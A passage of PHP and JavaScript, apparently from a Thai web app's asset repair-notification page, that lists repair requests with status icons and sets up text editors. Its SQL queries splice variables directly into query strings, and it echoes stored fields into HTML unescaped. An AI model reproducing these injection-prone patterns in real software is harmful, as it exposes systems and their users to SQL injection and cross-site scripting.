$workgroup_descx=Strlen($workgroup_desc); if ( $workgroup_descx > 100 ){ $dot = ".."; }else{ $dot = ""; } $workgroup_desc=substr($workgroup_desc,0,100)."".$dot; echo "<td nowrap valign='top'>".$person_id_name."".$workgroup_desc."<br>".thai_date_5($order_datetime)."</td>"; $code_type =$result['code_type']; $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $name_type_dot=Strlen($result_type[name]); if ( $name_type_dot > 100 ){ $dot = ".."; }else{ $dot = ""; } $name_type=substr($result_type[name],0,100)."".$dot; $code_list =$result['code_list']; $sql_list = "SELECT * FROM asset_list WHERE code_type='$code_type' AND code='$code_list' "; $dbquery_list = mysqli_query($connect,$sql_list); $result_list = mysqli_fetch_array($dbquery_list); $name_list_dot=Strlen($result_list[name]); if ( $name_list_dot > 100 ){ $dot = ".."; }else{ $dot = ""; } $name_list=substr($result_list[name],0,100)."".$dot; $subject =$result['subject']; echo "<td valign='top'>".$name_type." : ".$name_list."<br><font color=#c0c0c0>อาการ</font> ".$subject."</td>"; $officer_person =$result['officer_person']; $sql_officer = "SELECT * FROM person_main WHERE person_id='$officer_person' "; $dbquery_officer = mysqli_query($connect,$sql_officer); $result_officer = mysqli_fetch_array($dbquery_officer); $officer_officer_name=$result_officer['prename']."".$result_officer['name']." ".$result_officer['surname']; //สถานะการซ่อม 1=รอดำเนินการ 2=ส่งเคลม 3=ซ่อมไม่ได้/รอจำหน่าย 4=เสร็จเรียบร้อย $status =$result['status']; switch ($status){ case 0: $status_name='<font color=red>รอดำเนินการ</font>'; $status_date=''; break; case 1: $status_name='<font color=green>กำลังดำเนินการ</font>'; $status_date=$result['officer_datetime']; break; case 2: $status_name='<font color=blue>ส่งเคลม</font>'; $status_date=$result['officer_datetime']; break; case 3: $status_name='<font color=red>ซ่อมไม่ได้/รอจำหน่าย</font>'; $status_date=$result['officer_datetime']; break; case 4: $status_name='เสร็จเรียบร้อย'; $status_date=$result['officer_datetime']; break; } echo "<td nowrap valign='top'>".$officer_officer_name."<br>".thai_date_5($status_date)."</td>"; echo "<td nowrap align='center' valign='top'>".$status_name."</td>"; echo "<td nowrap align='center' valign='top'>"; echo "<a href=?option=asset&task=main/asset_notification&index=7&id=$id><img src=images/my-icons/browse.png width='24' height='24' border='0' alt='รายละเอียด' title='รายละเอียด'></a> "; if ($result_permission['p2']==1) { //echo " <a href=?option=asset&task=main/asset_notification&index=2&id=$id><img src=images/my-icons/drop.png width='24' height='24' border='0' alt='ลบ' title='ลบ'></a> "; switch ($status){ case 0 : echo "<a href=?option=asset&task=main/asset_notification&page=$page&index=5&id=$id><img src=images/my-icons/edit.png width='24' height='24' border='0' alt='รับแจ้งงาน' title='รับแจ้งงาน'></a>"; break; case 1 : case 2 : echo "<a href=?option=asset&task=main/asset_notification&page=$page&index=5&id=$id><img src=images/my-icons/yes.png width='24' height='24' border='0' alt='บันทึกงาน' title='บันทึกงาน'></a>"; break; case 3 : case 4 : echo "<img src=images/my-icons/no.png width='24' height='24' border='0'>"; break; } } echo "</td>"; echo "</Tr>"; $M++; $N++; //*เกี่ยวข้องกับการแยกหน้า } } echo "</Table>"; } ?> <script> function goto_url(val){ if(val==0){ callfrm("javascript:history.back(-1)"); // page ย้อนกลับ }else if(val==1){ if(frm1.subject.value == ""){ alert("กรุณาแจ้งข้อปัญหา/อาการ"); }else{ callfrm("?option=asset&task=main/asset_notification&index=4"); //page ประมวลผล } } } function goto_url_update(val){ if(val==0){ callfrm("javascript:history.back(-1)"); // page ย้อนกลับ }else if(val==1){ if(frm1.subject.value == ""){ alert("กรุณาแจ้งข้อปัญหา/อาการ"); }else{ callfrm("?option=asset&task=main/asset_notification&index=6"); //page ประมวลผล } } } //*** sceditor-2.1.3 Text Editor ***// var textarea = document.getElementById('textarea_1'); sceditor.create(textarea, { format: 'xhtml', icons: 'monocons', style: 'include/sceditor-2.1.3/minified/themes/content/default.min.css' }); var textarea = document.getElementById('textarea_2'); sceditor.create(textarea, { format: 'xhtml', icons: 'monocons', style: 'include/sceditor-2.1.3/minified/themes/content/default.min.css' }); var textarea = document.getElementById('textarea_3'); sceditor.create(textarea, { format: 'xhtml', icons: 'monocons', style: 'include/sceditor-2.1.3/minified/themes/content/default.min.css' }); </script>
Close